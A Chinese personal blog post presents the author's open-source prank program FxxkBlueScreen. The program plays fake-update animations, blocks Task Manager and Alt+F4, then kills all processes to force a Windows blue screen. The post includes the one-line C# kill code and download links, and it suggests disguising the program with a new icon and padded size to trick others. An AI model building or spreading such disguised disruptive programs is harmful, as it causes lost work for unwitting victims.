疫情期间摸鱼之作——FxxkBlueScreen

发布于 2020-09-11  3.99k 次阅读


说来有些惭愧,此项目最初是鄙人在2020年三月份新冠疫情期间上网课的闲暇时间摸鱼写的,作为高考生的我居然在用寒假这么宝贵的时间里摸鱼!!!当然写这个小玩意主要是想在4月1号愚人节找点乐子,让枯燥的居家生活多一点乐趣,当然最后目的也达到了,整蛊了不少的人,并且高考结果也算还行吧,没受多大影响。

简单介绍

FxxkBlueScreen是一个整蛊软件,他能让你的电脑蓝屏,并且在蓝屏之前献上两段制作精美的动画,提醒你他将要蓝屏,在此期间你什么都做不了,任务管理器?Alt+F4?没得没得,你能想到的我都想到了,当你点开它之后你将会有两个选择:1、眼睁睁看着他蓝屏;2、强制关机;

疫情期间摸鱼之作——FxxkBlueScreen

关于两段动画

第一段,仿Windows升级的提示动画,来自https://fakeupdate.net/

疫情期间摸鱼之作——FxxkBlueScreen

 

第二段,满屏的滑稽,来自http://lvmaojun.com/huaji/

疫情期间摸鱼之作——FxxkBlueScreen

 

这两段动画都是我用祖传F12大法扒下来的,并为了适应本项目作出了一些修改(后面会说),在此特别鸣谢两位作者,如有侵权请联系本人删除。

一些整人的建议

本项目我会开源,大家可以按照自己的想法随意定制,当然前提是你看得懂代码。以下是我给你的一些建议:

1、FxxkBlueScreen本身不大,所以建议加些配重让他更具有诱惑力,具体怎么做呢,建议在项目中添加一个不大不小的空文件,并设置为嵌入的资源,重新编译,这样你就有了一个具有配重的FxxkBlueScreen了。

2、图标肯定要改,我编译出来的默认版本图标是一个滑稽,就看这图标,敢于尝试的也还没几个了吧,当然,改图标不一定要改代码,具体方法可以自行搜索哦,此处仅作抛砖引玉

3、第一屏动画的文字也是可以改的,你甚至可以把它当做一个表白软件(什么鬼。。。)直接改项目里Loading.html的245-249行的内容即可

4、想简单粗暴点直接蓝屏?代码注释写得很清楚,你直接注释掉前面的部分就好啦。

5、还有更多玩法等待大家发掘……

蓝屏的原理

很多朋友最关注的应该是这个吧,这个蓝屏会不会有害呢?理论上来说应该不会,当然玩意别人有未保存的资料那就另说。这个蓝屏的原理实际上就是遍历当前的所有进程,然后逐个结束,这样系统进程被结束得足够多的时候自然就蓝屏了,并不是很多人想象中的滑稽刷得太快把电脑卡爆蓝屏。整个过程实现起来就一行代码(当然这行代码比较浓缩):

Process.GetProcesses().ToList().ForEach(p => { try { p.Kill(); } catch { } });

关于代码部分

代码并不难,从我这种菜鸡手里写出来的东西能有多复杂对吧。

开发环境

  • .NET 4.5
  • Windows 10
  • Visual Studio 2019

两个动画html

很多人可能会疑惑为什么这两个html里面有这么多乱码,实际上因为C#的WebBroswer控件的一些特性,也就是不能引用资源文件里的图片和JS,迫于无奈,我只能采取这种曲线救国的方式,把图片和JS转码成BASE64再合并到单个html文件里面。这个问题捣鼓了我好久的,没办法水平有限。

目录结构

│  FxxkBlueScreen.sln
│
└─FxxkBlueScreen
    │  App.config
    │  HotKeyHandler.cs	//热键屏蔽类
    │  MainForm.cs		//主窗口代码
    │  Main.Designer.cs
    │  Main.resx
    │  Program.cs
    │  SetsysVolume.cs	//声音操作类
    │
    ├─html
    │      Huaji.html	//滑稽动画HTML文件
    │      Loading.html	//载入动画HTML文件
    │
    ├─Icon
    │      Icon.ico		//图标文件
    │
    └─Properties

目前已知的Bug

  • 多显示器下显示不正常
  • 如果IE版本低于11,可能会出现异常
  • 有可能会出现自己把自己杀掉的情况
  • 如果系统本身就静音有可能会变成非静音状态

实机演示视频

免责声明

本人仅作为FxxkBlueScreen的作者,任何由本项目造成的任何损失和影响本人概不负责。

GitHub地址

https://github.com/kakkk/FxxkBlueScreen

下载地址

View版为欣赏动画版,不会蓝屏,Full版为全功能版,会蓝屏,注意甄别

百度云:https://pan.baidu.com/s/1wXcCJB9s31gkdk4INgh0dA    提取码:teqo

蓝奏云:https://kakkk.lanzous.com/b00zt1f7i     密码:ai0t

GoogleDrive:https://drive.google.com/drive/folders/1f1BIyQqhl9LdOkSG47TPHm4RMrb3-BkJ?usp=sharing


车到山前必有路,船到桥头自然直。